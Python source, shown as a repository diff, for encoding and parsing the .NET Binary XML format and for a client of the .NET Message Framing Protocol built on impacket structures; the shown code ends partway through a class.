class Int64TextRecord(Int8TextRecord):
type = 0x8E
def to_bytes(self) -> bytes:
return struct.pack("<B", self.type) + struct.pack("<q", self.value)
@classmethod
def parse(cls, fp) -> Self:
return cls(struct.unpack("<q", fp.read(8))[0])
class UInt64TextRecord(Int64TextRecord):
type = 0xB2
def to_bytes(self) -> bytes:
return struct.pack("<B", self.type) + struct.pack("<Q", self.value)
@classmethod
def parse(cls, fp) -> Self:
return cls(struct.unpack("<Q", fp.read(8))[0])
class BoolTextRecord(Text):
type = 0xB4
def __init__(self, value):
self.value = value
def to_bytes(self) -> bytes:
return struct.pack("<B", self.type) + struct.pack("<B", 1 if self.value else 0)
def __str__(self):
return str(self.value)
@classmethod
def parse(cls, fp) -> Self:
value = True if struct.unpack("<B", fp.read(1))[0] == 1 else False
return cls(value)
class UnicodeChars8TextRecord(Text):
type = 0xB6
def __init__(self, string):
self.value = string
def to_bytes(self) -> bytes:
data = self.value.encode("utf-16")[2:] # skip bom
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<B", len(data))
bytes += data
return bytes
def __str__(self):
return self.value
@classmethod
def parse(cls, fp) -> Self:
ln: int = struct.unpack("<B", fp.read(1))[0]
data: bytes = fp.read(ln)
return cls(data.decode("utf-16"))
class UnicodeChars16TextRecord(UnicodeChars8TextRecord):
type = 0xB8
def to_bytes(self) -> bytes:
data = self.value.encode("utf-16")[2:] # skip bom
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<H", len(data))
bytes += data
return bytes
def __str__(self):
return self.value
@classmethod
def parse(cls, fp) -> Self:
ln: int = struct.unpack("<H", fp.read(2))[0]
data: bytes = fp.read(ln)
return cls(data.decode("utf-16"))
class UnicodeChars32TextRecord(UnicodeChars8TextRecord):
type = 0xBA
def to_bytes(self) -> bytes:
data = self.value.encode("utf-16")[2:] # skip bom
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<I", len(data))
bytes += data
return bytes
def __str__(self):
return self.value
@classmethod
def parse(cls, fp) -> Self:
ln: int = struct.unpack("<I", fp.read(4))[0]
data: bytes = fp.read(ln)
return cls(data.decode("utf-16"))
class QNameDictionaryTextRecord(Text):
type = 0xBC
def __init__(self, prefix, index):
self.prefix = prefix
self.index = index
def to_bytes(self):
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<B", ord(self.prefix) - ord("a"))
bytes += MultiByteInt31(self.index).to_bytes()
return bytes
def __str__(self):
return "%s:%s" % (self.prefix, DICTIONARY[self.index])
@classmethod
def parse(cls, fp) -> Self:
prefix = chr(struct.unpack("<B", fp.read(1))[0] + ord("a"))
index = MultiByteInt31.parse(fp).value
return cls(prefix, index)
class FloatTextRecord(Text):
type = 0x90
def __init__(self, value):
self.value: float = value
def to_bytes(self) -> bytes:
bytes = super(FloatTextRecord, self).to_bytes()
bytes += struct.pack("<f", self.value)
return bytes
def __str__(self):
try:
if self.value == int(self.value):
return "%.0f" % self.value
else:
return str(self.value)
except:
return str(self.value).upper()
@classmethod
def parse(cls, fp) -> Self:
value = struct.unpack("<f", fp.read(4))[0]
return cls(value)
class DoubleTextRecord(FloatTextRecord):
type = 0x92
def __init__(self, value: float):
self.value = value
def to_bytes(self) -> bytes:
bytes = super(FloatTextRecord, self).to_bytes()
bytes += struct.pack("<d", self.value)
return bytes
def __str__(self):
return super(DoubleTextRecord, self).__str__()
@classmethod
def parse(cls, fp) -> Self:
value = struct.unpack("<d", fp.read(8))[0]
return cls(value)
class DecimalTextRecord(Text):
type = 0x94
def __init__(self, value: Decimal):
self.value = value
def __str__(self):
return str(self.value)
def to_bytes(self) -> bytes:
return super(DecimalTextRecord, self).to_bytes() + self.value.to_bytes()
@classmethod
def parse(cls, fp) -> Self:
value = Decimal.parse(fp)
return cls(value)
class DatetimeTextRecord(Text):
type = 0x96
def __init__(self, value: int, tz: int):
self.value = value
self.tz = tz
def __str__(self):
ticks = self.value
dt = datetime.datetime(1, 1, 1) + datetime.timedelta(microseconds=ticks / 10)
return dt.isoformat()
def to_bytes(self) -> bytes:
bytes = super(DatetimeTextRecord, self).to_bytes()
bytes += struct.pack(
"<Q", (self.tz & 3) | (self.value & 0x1FFFFFFFFFFFFFFF) << 2
)
return bytes
@classmethod
def parse(cls, fp) -> Self:
data = struct.unpack("<Q", fp.read(8))[0]
tz = data & 3
value = data
return cls(value, tz)
def escapecp(cp):
return "&%s;" % codepoint2name[cp] if (cp in codepoint2name) else chr(cp)
def escape(text):
newtext = ""
for c in text:
newtext += escapecp(ord(c))
return newtext
class Chars8TextRecord(Text):
type = 0x98
def __init__(self, value: str):
self.value = value
def __str__(self):
# TODO: check if having unexcaped value is a problem?
# removed the return excape(self.value) because str() was used
# in the print_records function, so it printed stuff like
# amp(value) and stuff.
return self.value
def to_bytes(self) -> bytes:
data = self.value.encode("utf-8")
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<B", len(data))
bytes += data
return bytes
@classmethod
def parse(cls, fp) -> Self:
ln = struct.unpack("<B", fp.read(1))[0]
value: str = fp.read(ln).decode("utf-8")
return cls(value)
class Chars16TextRecord(Text):
type = 0x9A
def __init__(self, value: str):
self.value = value
def __str__(self):
return self.value
def to_bytes(self) -> bytes:
data = self.value.encode("utf-8")
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<H", len(data))
bytes += data
return bytes
@classmethod
def parse(cls, fp) -> Self:
ln = struct.unpack("<H", fp.read(2))[0]
value: str = fp.read(ln).decode("utf-8")
return cls(value)
class Chars32TextRecord(Text):
type = 0x9C
def __init__(self, value: str):
self.value = value
def __str__(self):
return self.value
def to_bytes(self) -> bytes:
data = self.value.encode("utf-8")
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<I", len(data))
bytes += data
return bytes
@classmethod
def parse(cls, fp) -> Self:
ln = struct.unpack("<I", fp.read(4))[0]
value: str = fp.read(ln).decode("utf-8")
return cls(value)
class UniqueIdTextRecord(Text):
type = 0xAC
def __init__(self, uuid):
if isinstance(uuid, list) or isinstance(uuid, tuple):
self.uuid = uuid
else:
if uuid.startswith("urn:uuid"):
uuid = uuid[9:]
uuid = uuid.split("-")
tmp = uuid[0:3]
tmp.append(uuid[3][0:2])
tmp.append(uuid[3][2:])
tmp.append(uuid[4][0:2])
tmp.append(uuid[4][2:4])
tmp.append(uuid[4][4:6])
tmp.append(uuid[4][6:8])
tmp.append(uuid[4][8:10])
tmp.append(uuid[4][10:])
self.uuid = [int(s, 16) for s in tmp]
def to_bytes(self) -> bytes:
bytes = super(UniqueIdTextRecord, self).to_bytes()
bytes += struct.pack("<IHHBBBBBBBB", *self.uuid)
return bytes
def __str__(self):
return "urn:uuid:%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % (
tuple(self.uuid)
)
@classmethod
def parse(cls, fp) -> Self:
uuid = struct.unpack("<IHHBBBBBBBB", fp.read(16))
return cls(uuid)
class UuidTextRecord(UniqueIdTextRecord):
type = 0xB0
def __str__(self):
return "%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x" % (tuple(self.uuid))
class Bytes8TextRecord(Text):
type = 0x9E
def __init__(self, data: bytes):
self.value = data
def to_bytes(self) -> bytes:
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<B", len(self.value))
bytes += self.value
return bytes
def __str__(self):
return base64.b64encode(self.value).decode()
@classmethod
def parse(cls, fp) -> Self:
ln = struct.unpack("<B", fp.read(1))[0]
data: bytes = struct.unpack("%ds" % ln, fp.read(ln))[0]
return cls(data)
class Bytes16TextRecord(Text):
type = 0xA0
def __init__(self, data: bytes):
self.value = data
def __str__(self):
return base64.b64encode(self.value).decode()
def to_bytes(self) -> bytes:
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<H", len(self.value))
bytes += self.value
return bytes
@classmethod
def parse(cls, fp) -> Self:
ln = struct.unpack("<H", fp.read(2))[0]
data: bytes = struct.unpack("%ds" % ln, fp.read(ln))[0]
return cls(data)
class Bytes32TextRecord(Text):
type = 0xA2
def __init__(self, data: bytes):
self.value = data
def __str__(self):
return base64.b64encode(self.value).decode()
def to_bytes(self) -> bytes:
bytes = struct.pack("<B", self.type)
bytes += struct.pack("<I", len(self.value))
bytes += self.value
return bytes
@classmethod
def parse(cls, fp) -> Self:
ln = struct.unpack("<I", fp.read(4))[0]
data: bytes = struct.unpack("%ds" % ln, fp.read(ln))[0]
return cls(data)
class StartListTextRecord(Text):
type = 0xA4
class EndListTextRecord(Text):
type = 0xA6
class EmptyTextRecord(Text):
type = 0xA8
class TimeSpanTextRecord(Text):
type = 0xAE
def __init__(self, value):
self.value = value
def to_bytes(self) -> bytes:
return super(TimeSpanTextRecord, self).to_bytes() + struct.pack(
"<q", self.value
)
def __str__(self):
return str(datetime.timedelta(microseconds=self.value / 10))
@classmethod
def parse(cls, fp) -> Self:
value = struct.unpack("<q", fp.read(8))[0]
return cls(value)
class DictionaryTextRecord(Text):
type = 0xAA
def __init__(self, index):
self.index = index
def to_bytes(self) -> bytes:
return (
super(DictionaryTextRecord, self).to_bytes()
+ MultiByteInt31(self.index).to_bytes()
)
def __str__(self):
return DICTIONARY[self.index]
@classmethod
def parse(cls, fp) -> Self:
index = MultiByteInt31.parse(fp).value
return cls(index)
record.add_records(
(
ZeroTextRecord,
OneTextRecord,
FalseTextRecord,
TrueTextRecord,
Int8TextRecord,
Int16TextRecord,
Int32TextRecord,
Int64TextRecord,
UInt64TextRecord,
BoolTextRecord,
UnicodeChars8TextRecord,
UnicodeChars16TextRecord,
UnicodeChars32TextRecord,
QNameDictionaryTextRecord,
FloatTextRecord,
DoubleTextRecord,
DecimalTextRecord,
DatetimeTextRecord,
Chars8TextRecord,
Chars16TextRecord,
Chars32TextRecord,
UniqueIdTextRecord,
UuidTextRecord,
Bytes8TextRecord,
Bytes16TextRecord,
Bytes32TextRecord,
StartListTextRecord,
EndListTextRecord,
EmptyTextRecord,
TimeSpanTextRecord,
DictionaryTextRecord,
)
)
+141
View File
@@ -0,0 +1,141 @@
import logging as log
from .record import Element, EndElementRecord, record
from .text import Text
def print_records(records, first_call=True) -> str:
"""
returns the given record tree as a string
"""
if not records:
return ""
output = ""
for r in records:
if isinstance(r, EndElementRecord):
continue
output += str(r)
new_line = ""
if hasattr(r, "childs"):
new_line = print_records(r.childs, False)
if isinstance(r, Element):
output += new_line
if hasattr(r, "prefix"):
output += "</%s:%s>" % (r.prefix, r.name)
else:
output += "</%s>" % r.name
return output
def pretty_print_records(records, skip=0, first_call=True) -> str:
"""prints the given record tree into a file like object"""
if not records:
return ""
output = ""
for r in records:
if isinstance(r, EndElementRecord):
continue
if isinstance(r, Element):
output += str(r)
else:
output += str(r)
new_line = ""
if hasattr(r, "childs"):
new_line = pretty_print_records(r.childs, skip + 1, False)
if isinstance(r, Element):
output += new_line
if new_line:
output += "\r\n" + " " * skip
if hasattr(r, "prefix"):
output += "</%s:%s>" % (r.prefix, r.name)
else:
output += "</%s>" % r.name
return output
def dump_records(records: list[record]) -> bytes:
"""
returns the byte representation of a given record tree
"""
out = b""
for r in records:
msg = f"Write {type(r).__name__}"
if r == records[-1] and isinstance(r, Text):
r.type = r.type + 1
msg += " with EndElement (0x%X)" % r.type
log.debug(msg)
log.debug(f"Value {r}")
if (
isinstance(r, Element)
and not isinstance(r, EndElementRecord)
and len(r.attributes)
):
log.debug(" Attributes:")
for a in r.attributes:
log.debug(f" {type(a).__name__}: {a}")
out += r.to_bytes()
if hasattr(r, "childs"):
out += dump_records(r.childs)
# only print the end element if the current record is NOT a "*WithEnd" record type
if (not r.childs or not isinstance(r.childs[-1], Text)) and not isinstance(
r, Text
):
log.debug(f"Write EndElement for {type(r).__name__}")
out += EndElementRecord().to_bytes()
elif isinstance(r, Element) and not isinstance(r, EndElementRecord):
log.debug(f"Write EndElement for {type(r).__name__}")
out += EndElementRecord().to_bytes()
return out
class Net7BitInteger(object):
@staticmethod
def decode7bit(data: bytes) -> tuple[int, int]:
MAXMBI = 0x7F
length = 0
value = 0
for i in range(5):
length += 1
v = data[i]
value |= (v & MAXMBI) << 7 * i
if not v & (MAXMBI + 1):
break
return value, length
@staticmethod
def encode7bit(value):
MAXMBI = 0x7F
if value < 0:
raise ValueError("Signed numbers are not supported")
if value <= MAXMBI:
return bytes([value])
result = []
for _ in range(5):
byte = value & MAXMBI
value >>= 7
if value != 0:
byte |= MAXMBI + 1
result.append(byte)
if value == 0:
break
return bytes(result)
+392
View File
@@ -0,0 +1,392 @@
import base64
import logging as log
import re
from html import unescape
from html.parser import HTMLParser
from typing import TextIO
from .records import INVERTED_DICT
from .records.attributes import *
from .records.elements import *
from .records.record import *
from .records.text import *
classes = dict([(i.__name__, i) for i in record.records.values()])
int_reg = re.compile(r"^-?\d+$")
uint_reg = re.compile(r"^\d+$")
uuid_reg = re.compile(r"^(([a-fA-F0-9]{8})-(([a-fA-F0-9]{4})-){3}([a-fA-F0-9]{12}))$")
uniqueid_reg = re.compile(
r"^urn:uuid:(([a-fA-F0-9]{8})-(([a-fA-F0-9]{4})-){3}([a-fA-F0-9]{12}))$"
)
base64_reg = re.compile(r"^[a-zA-Z0-9/+]*={0,2}$")
float_reg = re.compile(r"^-?(INF)|(NaN)|(\d+(\.\d+)?)$")
datetime_reg = re.compile(
r"^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}:\d{2}(\.\d{1,7})?)?(Z|(\+|-\d{2}:\d{2}))"
)
# https://github.com/python/cpython/blob/3.12/Lib/html/parser.py
tagfind_tolerant = re.compile(r"([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*")
attrfind_tolerant = re.compile(
r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*'
r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*'
)
endendtag = re.compile(">")
# the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between
# </ and the tag name, so maybe this should be fixed
endtagfind = re.compile(r"</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>")
# https://github.com/python/cpython/blob/main/Lib/_markupbase.py
_markedsectionclose = re.compile(r"]\s*]\s*>")
_msmarkedsectionclose = re.compile(r"]\s*>")
class XMLParser(HTMLParser):
def reset(self):
HTMLParser.reset(self)
self.records = []
self.last_record = record()
self.last_record.childs = self.records
self.last_record.parent = None
self.data = None
# ============ overrides to prevent lowercasing names ===============
# this breaks standard and makes dictionary lookups hard
# Internal -- handle starttag, return end or -1 if not terminated
def parse_starttag(self, i):
self.__starttag_text = None
endpos = self.check_for_whole_start_tag(i)
if endpos < 0:
return endpos
rawdata = self.rawdata
self.__starttag_text = rawdata[i:endpos]
# Now parse the data between i+1 and j into a tag and attrs
attrs = []
match = tagfind_tolerant.match(rawdata, i + 1)
assert match, "unexpected call to parse_starttag()"
k = match.end()
self.lasttag = tag = match.group(1)
while k < endpos:
m = attrfind_tolerant.match(rawdata, k)
if not m:
break
attrname, rest, attrvalue = m.group(1, 2, 3)
if not rest:
attrvalue = None
elif (
attrvalue[:1] == "'" == attrvalue[-1:]
or attrvalue[:1] == '"' == attrvalue[-1:]
):
attrvalue = attrvalue[1:-1]
if attrvalue:
attrvalue = unescape(attrvalue)
attrs.append((attrname, attrvalue))
k = m.end()
end = rawdata[k:endpos].strip()
if end not in (">", "/>"):
self.handle_data(rawdata[i:endpos])
return endpos
if end.endswith("/>"):
# XHTML-style empty tag: <span attr="value" />
self.handle_startendtag(tag, attrs)
else:
self.handle_starttag(tag, attrs)
if tag in self.CDATA_CONTENT_ELEMENTS:
self.set_cdata_mode(tag)
return endpos
# Internal -- parse endtag, return end or -1 if incomplete
def parse_endtag(self, i):
rawdata = self.rawdata
assert rawdata[i : i + 2] == "</", "unexpected call to parse_endtag"
match = endendtag.search(rawdata, i + 1) # >
if not match:
return -1
gtpos = match.end()
match = endtagfind.match(rawdata, i) # </ + tag + >
if not match:
if self.cdata_elem is not None:
self.handle_data(rawdata[i:gtpos])
return gtpos
# find the name: w3.org/TR/html5/tokenization.html#tag-name-state
namematch = tagfind_tolerant.match(rawdata, i + 2)
if not namematch:
# w3.org/TR/html5/tokenization.html#end-tag-open-state
if rawdata[i : i + 3] == "</>":
return i + 3
else:
return self.parse_bogus_comment(i)
tagname = namematch.group(1)
# consume and ignore other stuff between the name and the >
# Note: this is not 100% correct, since we might have things like
# </tag attr=">">, but looking for > after the name should cover
# most of the cases and is much simpler
gtpos = rawdata.find(">", namematch.end())
self.handle_endtag(tagname)
return gtpos + 1
elem = match.group(1) # script or style
if self.cdata_elem is not None:
if elem != self.cdata_elem:
self.handle_data(rawdata[i:gtpos])
return gtpos
self.handle_endtag(elem)
self.clear_cdata_mode()
return gtpos
def set_cdata_mode(self, elem):
self.cdata_elem = elem.lower()
self.interesting = re.compile(r"</\s*%s\s*>" % self.cdata_elem, re.I)
# ============= end overrides =================
def _parse_tag(self, tag: str) -> record:
if ":" in tag:
prefix, name = tag.split(":", 1)
if len(prefix) == 1:
cls_name = "Element" + prefix.upper() + "Record"
if name in INVERTED_DICT:
cls_name = "PrefixDictionary" + cls_name
log.debug("New %s: %s" % (cls_name, name))
return classes[cls_name](INVERTED_DICT[name])
else:
cls_name = "Prefix" + cls_name
log.debug("New %s: %s" % (cls_name, name))
return classes[cls_name](name)
else:
if name in INVERTED_DICT:
log.debug("New DictionaryElementRecord: %s:%s" % (prefix, name))
return DictionaryElementRecord(prefix, INVERTED_DICT[name])
else:
log.debug("New ElementRecord: %s:%s" % (prefix, name))
return ElementRecord(prefix, name)
else:
if tag in INVERTED_DICT:
log.debug("New ShortDictionaryElementRecord: %s" % (tag,))
return ShortDictionaryElementRecord(INVERTED_DICT[tag])
else:
log.debug("New ShortElementRecord: %s" % (tag,))
return ShortElementRecord(tag)
def _store_data(self, data, end=False):
textrecord = self._parse_data(data)
if isinstance(textrecord, EmptyTextRecord):
return
log.debug("New %s: %s" % (type(textrecord).__name__, data))
self.last_record.childs.append(textrecord)
def _parse_data(self, data):
data = data.strip() if data else data
b64 = False
try:
if base64_reg.match(data):
base64.b64decode(data)
b64 = True
except:
b64 = False
if data == "0":
return ZeroTextRecord()
elif data == "1":
return OneTextRecord()
elif data.lower() == "false":
return FalseTextRecord()
elif data.lower() == "true":
return TrueTextRecord()
elif len(data) > 3 and data[1] == ":" and data[2:] in INVERTED_DICT:
return QNameDictionaryTextRecord(data[0], INVERTED_DICT[data[2:]])
elif uniqueid_reg.match(data):
m = uniqueid_reg.match(data)
return UniqueIdTextRecord(m.group(1))
elif uuid_reg.match(data):
m = uuid_reg.match(data)
return UuidTextRecord(m.group(1))
elif int_reg.match(data):
val = int(data)
if val >= -(2**7) and val <= 2**7 - 1:
return Int8TextRecord(val)
elif val >= -(2**15) and val <= 2**15 - 1:
return Int16TextRecord(val)
elif val >= -(2**31) and val <= 2**31 - 1:
return Int32TextRecord(val)
elif val >= -(2**63) and val <= 2**63 - 1:
return Int64TextRecord(val)
else:
val = len(data)
if val < 2**8:
return Chars8TextRecord(data)
elif val < 2**16:
return Chars16TextRecord(data)
elif val < 2**32:
return Chars32TextRecord(data)
elif data == "":
return EmptyTextRecord()
elif b64:
data = base64.b64decode(data)
val = len(data)
if val < 2**8:
return Bytes8TextRecord(data)
elif val < 2**16:
return Bytes16TextRecord(data)
elif val < 2**32:
return Bytes32TextRecord(data)
elif float_reg.match(data):
return DoubleTextRecord(float(data))
elif data in INVERTED_DICT:
return DictionaryTextRecord(INVERTED_DICT[data])
elif datetime_reg.match(data) and False: # TODO
raise NotImplementedError("datetime isnt implmented rn")
else:
val = len(data)
if val < 2**8:
return Chars8TextRecord(data)
elif val < 2**16:
return Chars16TextRecord(data)
elif val < 2**32:
return Chars32TextRecord(data)
def _parse_attr(self, name, value):
if ":" in name:
prefix = name[: name.find(":")]
name = name[name.find(":") + 1 :]
if prefix == "xmlns":
if value in INVERTED_DICT:
return DictionaryXmlnsAttributeRecord(name, INVERTED_DICT[value])
else:
return XmlnsAttributeRecord(name, value)
elif len(prefix) == 1:
value = self._parse_data(value)
cls_name = "Attribute" + prefix.upper() + "Record"
if name in INVERTED_DICT:
return classes["PrefixDictionary" + cls_name](
INVERTED_DICT[name], value
)
else:
return classes["Prefix" + cls_name](name, value)
else:
value = self._parse_data(value)
if name in INVERTED_DICT:
return DictionaryAttributeRecord(prefix, INVERTED_DICT[name], value)
else:
return AttributeRecord(prefix, name, value)
elif name == "xmlns":
if value in INVERTED_DICT:
return ShortDictionaryXmlnsAttributeRecord(INVERTED_DICT[value])
else:
return ShortXmlnsAttributeRecord(value)
else:
value = self._parse_data(value)
if name in INVERTED_DICT:
return ShortDictionaryAttributeRecord(INVERTED_DICT[name], value)
else:
return ShortAttributeRecord(name, value)
def handle_starttag(self, tag: str, attrs):
if self.data:
self._store_data(self.data, False)
self.data = None
el = self._parse_tag(tag)
for n, v in attrs:
el.attributes.append(self._parse_attr(n, v))
self.last_record.childs.append(el)
el.parent = self.last_record
self.last_record = el
def handle_startendtag(self, tag: str, attrs: list):
if self.data:
self._store_data(self.data, False)
self.data = None
el = self._parse_tag(tag)
for n, v in attrs:
el.attributes.append(self._parse_attr(n, v))
self.last_record.childs.append(el)
def handle_endtag(self, tag: str):
if self.data:
self._store_data(self.data, True)
self.data = None
self.last_record = self.last_record.parent
def handle_data(self, data):
if not self.data:
self.data = data
else:
self.data += data
def handle_charref(self, name):
if name[0] == "x":
self.handle_data(chr(int(name[1:], 16)))
else:
self.handle_data(chr(int(name, 10)))
def handle_entityref(self, name):
self.handle_data(unescape("&%s;" % name))
def handle_comment(self, data):
if self.data:
self._store_data(self.data, False)
self.data = None
self.last_record.childs.append(CommentRecord(data))
def parse_marked_section(self, i, report=1):
rawdata = self.rawdata
assert rawdata[i : i + 3] == "<![", "unexpected call to parse_marked_section()"
sectName, j = self._scan_name(i + 3, i)
if j < 0:
return j
match = None
if sectName in ("temp", "cdata", "ignore", "include", "rcdata"):
# look for standard ]]> ending
match = _markedsectionclose.search(rawdata, i + 3)
elif sectName in ("if", "else", "endif"):
# look for MS Office ]> ending
match = _msmarkedsectionclose.search(rawdata, i + 3)
else:
log.error(
"unknown status keyword %r in marked section" % rawdata[i + 3 : j]
)
if not match:
return -1
if report:
if sectName == "cdata":
assert rawdata[j] == "["
self.handle_data(rawdata[j + 1 : match.start(0)])
else:
j = match.start(0)
self.unknown_decl(rawdata[i + 3 : j])
return match.end(0)
@classmethod
def parse(cls, data: str | TextIO):
"""
Parses a XML String/Fileobject into a Record tree
Args:
data(str | TextIO): a Record tree
"""
p = cls()
xml = None
if isinstance(data, str):
xml = data
elif hasattr(data, "read"):
xml = data.read()
else:
raise ValueError("%s has an incompatible type %s" % (data, type(data)))
p.feed(xml)
return p.records
+531
View File
@@ -0,0 +1,531 @@
import socket
from enum import IntEnum
from typing import Type
import impacket.structure
from .encoder import Encoder
from .ms_nns import NNS
"""
[MC-NMF]: .NET Message Framing Protocol. This is the initiator (client) implementation.
Only Duplex mode is implmented.
"""
class RecordType(IntEnum):
"""
Protocol for record exchange
[MC-NMF]: 2.2.1
"""
VERSION = 0x0
MODE = 0x1
VIA = 0x2
KNOWN_ENCODING = 0x3
EXTENSIBLE_ENCODING = 0x4
UNSIZED_ENVELOPE = 0x5
SIZED_ENVELOPE = 0x6
END = 0x7
FAULT = 0x8
UPGRADE_REQUEST = 0x9
UPGRADE_RESPONSE = 0xA
PREAMBLE_ACK = 0xB
PREAMBLE_END = 0xC
class Mode(IntEnum):
"""Communication mode
[MC-NMF]: 2.2.3.2
"""
SINGELTON_UNSIZED = 0x1
DUPLEX = 0x2
SIMPLEX = 0x3
SINGLETON_SIZED = 0x4
class KnownEncoding(IntEnum):
"""Encoding Envelope Records
[MC-NMF]: 2.2.3.4.1
"""
# soap 1.1
SOAP1_1_UTF8 = 0x0 # [RFC2279]
SOAP1_1_UTF16 = 0x1 # [RFC2781]
SOAP1_1_UNICODE_LE = 0x2
# soap 1.2
SOAP1_2_UTF8 = 0x3
SOAP1_2_UTF16 = 0x4
SOAP1_2_UNICODE = 0x5
SOAP1_2_MTOM = 0x6 # [SOAP-MTOM]
SOAP1_2_BINARY = 0x7 # [MC-NBFS]
SOAP1_2_BINARY_INBAND_DICT = 0x8 # [MC-NBFSE]
class NMFServerFault(Exception): ...
class NMFUnknownRecord:
def __init__(self, data=""):
raise NMFServerFault(f"NMFUnknownRecord type {data}")
class NMFRecord(impacket.structure.Structure):
structure: tuple[tuple[str, str] | tuple[str, str, object], ...]
def send(self, sock: socket.socket | NNS):
sock.sendall(self.getData())
@staticmethod
def encode_size(size: int) -> bytes:
"""NMF variable size encoding for records.
[MC-NMF]: 2.2.2
Args:
size (int): size of the record payload
Returns:
bytes: packed and encoded size as bytes
"""
MAXMBI = 0x7F
if size < 0:
raise ValueError("Signed numbers are not supported")
if size <= MAXMBI:
return bytes([size])
result = []
for _ in range(5):
byte = size & MAXMBI
size >>= 7
if size != 0:
byte |= MAXMBI + 1
result.append(byte)
if size == 0:
break
return bytes(result)
@staticmethod
def decode_size(encoded_data: bytes) -> tuple[int, int, bytes]:
"""NMF decode size of record payload.
Returns the size of the payload, and also the number of bytes the size
value takes. The size field is variable length.
To use this method, first slice off the record type so that the first
field in the encoded_data is the size feild
The size feild can be max 5 bytes long.
[MC-NMF]: 2.2.2
Args:
encoded_data (bytes): payload with size included
Returns:
tuple[int, int, bytes]: size of the payload, the number of bytes in the size field, the payload
"""
size = 0
shift = 0
len_length = 0
max_len = min(len(encoded_data), 5)
for i in range(max_len):
byte = encoded_data[i]
len_length += 1
size |= (byte & 0x7F) << shift
if not (byte & 0x80):
return size, len_length, encoded_data[len_length:]
shift += 7
if size > 0xFFFFFFFF:
raise ValueError("Size too big")
return size, 1, encoded_data[1:]
class NMFVersion(NMFRecord):
structure = (
("record_type", ">B"),
("major_version", ">B"),
("minor_version", ">B"),
)
def __init__(
self, major_version: int = 0, minor_version: int = 0, data: None | bytes = None
):
impacket.structure.Structure.__init__(self, data=data)
if not data:
self["record_type"] = RecordType.VERSION
self["major_version"] = major_version
self["minor_version"] = minor_version
class NMFMode(NMFRecord):
structure = (
("record_type", ">B"),
("mode", ">B"),
)
def __init__(self, mode: int = 0, data: None | bytes = None):
impacket.structure.Structure.__init__(self, data=data)
if not data:
self["record_type"] = RecordType.MODE
self["mode"] = mode
class NMFVia(NMFRecord):
structure = (
("record_type", ">B"),
("via_len", ":"), # warning, this is variable length field
("via", ":"),
)
def __init__(self, via: str = "", data: None | bytes = None):
"""This record has variable length field encoding on the
via_len field. Reading 'via_len' will not return a correct
value.
Args:
via (str): via to send
data (bytes): a packed full length record
"""
impacket.structure.Structure.__init__(self)
if data:
self["record_type"] = data[0]
_, _, payload = self.decode_size(data[1:])
self["via"] = payload.decode("utf-8")
else:
self["record_type"] = RecordType.VIA
self["via_len"] = self.encode_size(len(via.encode("utf-8")))
self["via"] = via.encode("utf-8")
class NMFKnownEncoding(NMFRecord):
structure = (
("record_type", ">B"),
("encoding", ">B"),
)
def __init__(self, encoding: int = 0, data: None | bytes = None):
impacket.structure.Structure.__init__(self, data=data)
if not data:
self["record_type"] = RecordType.KNOWN_ENCODING
self["encoding"] = encoding
class NMFExtensibleEncoding(NMFRecord): ...
class NMFSizedEnvelope(NMFRecord):
structure = (
("record_type", ">B"),
("size", ":"),
("payload", ":"),
)
def __init__(self, payload: bytes = bytes(), data: None | bytes = None):
"""This record has variable length field encoding on the
'size' field. Reading 'size' will not return a correct
value.
Args:
payload (bytes): payload to send
data (bytes): a packed sized envelope record
"""
impacket.structure.Structure.__init__(self, data=data)
if data:
self["record_type"] = data[0]
_, _, env_payload = self.decode_size(data[1:])
self["payload"] = env_payload
else:
self["record_type"] = RecordType.SIZED_ENVELOPE
self["size"] = self.encode_size(len(payload))
self["payload"] = payload
class NMFEnd(NMFRecord):
structure = (("record_type", ">B"),)
def __init__(self, data: None | bytes = None):
impacket.structure.Structure.__init__(self, data=data)
if not data:
self["record_type"] = RecordType.END
class NMFUnsizedEnvelope(NMFRecord): ...
class NMFFault(NMFRecord):
structure = (
("record_type", ">B"),
("size", ":"),
("fault", ":"),
)
def __init__(self, fault: str = "", data: None | bytes = None):
"""This record has variable length field encoding on the
'size' field. Reading 'size' will not return a correct
value.
Args:
fault (str): fault msg to send
data (bytes): a packed full length record
"""
impacket.structure.Structure.__init__(self, data=data)
if data:
self["record_type"] = data[0]
_, _, payload = self.decode_size(data[1:])
self["fault"] = payload.decode("utf-8")
else:
self["record_type"] = RecordType.FAULT
self["size"] = self.encode_size(len(fault.encode("utf-8")))
self["fault"] = fault.encode("utf-8")
class NMFUpgradeRequest(NMFRecord):
structure = (
("record_type", ">B"),
("proto_len", ":"),
("proto", ":"),
)
def __init__(self, proto: str = "application/negotiate", data: None | bytes = None):
"""This record has variable length field encoding on the
'proto_len' field. Reading 'proto_len' will not return a correct
value.
Args:
proto (str): proto to send
data (bytes): a packed full length record
"""
impacket.structure.Structure.__init__(self, data=data)
if data:
self["record_type"] = data[0]
_, _, payload = self.decode_size(data[1:])
self["proto"] = payload.decode("utf-8")
else:
self["record_type"] = RecordType.UPGRADE_REQUEST
self["proto_len"] = self.encode_size(len(proto.encode("utf-8")))
self["proto"] = proto.encode("utf-8")
class NMFUpgradeResponse(NMFRecord):
structure = (("record_type", ">B"),)
def __init__(self, data: None | bytes = None):
impacket.structure.Structure.__init__(self, data=data)
if not data:
self["record_type"] = RecordType.UPGRADE_RESPONSE
class NMFPreambleEnd(NMFRecord):
structure = (("record_type", ">B"),)
def __init__(self, data: None | bytes = None):
impacket.structure.Structure.__init__(self, data=data)
if not data:
self["record_type"] = RecordType.PREAMBLE_END
class NMFPreambleAck(NMFRecord):
structure = (("record_type", ">B"),)
